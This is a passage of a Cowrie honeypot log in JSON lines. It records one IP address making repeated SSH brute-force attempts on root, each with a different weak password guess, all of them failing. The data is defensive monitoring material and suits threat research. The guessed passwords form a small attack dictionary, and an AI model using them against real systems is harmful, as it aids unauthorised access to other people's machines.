{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:21.183673Z","src_ip":"60.165.124.241","session":"12b91549be38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49494,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc2f06ce0362","protocol":"ssh","message":"New connection: 60.165.124.241:49494 (10.17.0.5:22) [session: cc2f06ce0362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:21.418092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:21.422637Z","src_ip":"60.165.124.241","session":"cc2f06ce0362","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:21.660478Z","src_ip":"60.165.124.241","session":"cc2f06ce0362","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootpassword123","message":"login attempt [root/rootpassword123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:22.379159Z","src_ip":"60.165.124.241","session":"cc2f06ce0362","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:23.619732Z","src_ip":"60.165.124.241","session":"cc2f06ce0362","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52414,"dst_ip":"10.17.0.5","dst_port":22,"session":"47b328027cc6","protocol":"ssh","message":"New connection: 60.165.124.241:52414 (10.17.0.5:22) [session: 47b328027cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:23.857983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:23.863245Z","src_ip":"60.165.124.241","session":"47b328027cc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:24.103584Z","src_ip":"60.165.124.241","session":"47b328027cc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"189cloud.com","message":"login attempt [root/189cloud.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:24.832465Z","src_ip":"60.165.124.241","session":"47b328027cc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:26.075214Z","src_ip":"60.165.124.241","session":"47b328027cc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55468,"dst_ip":"10.17.0.5","dst_port":22,"session":"22d9aff72967","protocol":"ssh","message":"New connection: 60.165.124.241:55468 (10.17.0.5:22) [session: 22d9aff72967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:29.319742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:29.324117Z","src_ip":"60.165.124.241","session":"22d9aff72967","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:29.562788Z","src_ip":"60.165.124.241","session":"22d9aff72967","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123...","message":"login attempt [root/Aa123123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:30.300771Z","src_ip":"60.165.124.241","session":"22d9aff72967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:31.546124Z","src_ip":"60.165.124.241","session":"22d9aff72967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33486,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c62df40dc98","protocol":"ssh","message":"New connection: 60.165.124.241:33486 (10.17.0.5:22) [session: 5c62df40dc98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:31.777594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:31.782419Z","src_ip":"60.165.124.241","session":"5c62df40dc98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:32.024220Z","src_ip":"60.165.124.241","session":"5c62df40dc98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"#*c1234","message":"login attempt [root/#*c1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:32.752438Z","src_ip":"60.165.124.241","session":"5c62df40dc98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:33.999949Z","src_ip":"60.165.124.241","session":"5c62df40dc98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36464,"dst_ip":"10.17.0.5","dst_port":22,"session":"72e9a9158644","protocol":"ssh","message":"New connection: 60.165.124.241:36464 (10.17.0.5:22) [session: 72e9a9158644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:34.237206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:34.241594Z","src_ip":"60.165.124.241","session":"72e9a9158644","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:34.488220Z","src_ip":"60.165.124.241","session":"72e9a9158644","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd@12345","message":"login attempt [root/Abcd@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:35.226463Z","src_ip":"60.165.124.241","session":"72e9a9158644","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:36.488113Z","src_ip":"60.165.124.241","session":"72e9a9158644","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39510,"dst_ip":"10.17.0.5","dst_port":22,"session":"55facdd585a1","protocol":"ssh","message":"New connection: 60.165.124.241:39510 (10.17.0.5:22) [session: 55facdd585a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:36.752009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:36.756460Z","src_ip":"60.165.124.241","session":"55facdd585a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:37.004106Z","src_ip":"60.165.124.241","session":"55facdd585a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13141314","message":"login attempt [root/13141314] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:37.740178Z","src_ip":"60.165.124.241","session":"55facdd585a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:38.983888Z","src_ip":"60.165.124.241","session":"55facdd585a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42238,"dst_ip":"10.17.0.5","dst_port":22,"session":"570d2673e931","protocol":"ssh","message":"New connection: 60.165.124.241:42238 (10.17.0.5:22) [session: 570d2673e931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:39.227505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:39.232743Z","src_ip":"60.165.124.241","session":"570d2673e931","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:39.471189Z","src_ip":"60.165.124.241","session":"570d2673e931","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe123456.","message":"login attempt [root/Qwe123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:40.213371Z","src_ip":"60.165.124.241","session":"570d2673e931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:41.464884Z","src_ip":"60.165.124.241","session":"570d2673e931","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45394,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7e15b604b46","protocol":"ssh","message":"New connection: 60.165.124.241:45394 (10.17.0.5:22) [session: b7e15b604b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:41.729296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:41.733243Z","src_ip":"60.165.124.241","session":"b7e15b604b46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:41.981625Z","src_ip":"60.165.124.241","session":"b7e15b604b46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Maximus12","message":"login attempt [root/Maximus12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:42.755821Z","src_ip":"60.165.124.241","session":"b7e15b604b46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:44.012607Z","src_ip":"60.165.124.241","session":"b7e15b604b46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48272,"dst_ip":"10.17.0.5","dst_port":22,"session":"23f20a3a3e80","protocol":"ssh","message":"New connection: 60.165.124.241:48272 (10.17.0.5:22) [session: 23f20a3a3e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:44.271199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:44.276221Z","src_ip":"60.165.124.241","session":"23f20a3a3e80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openss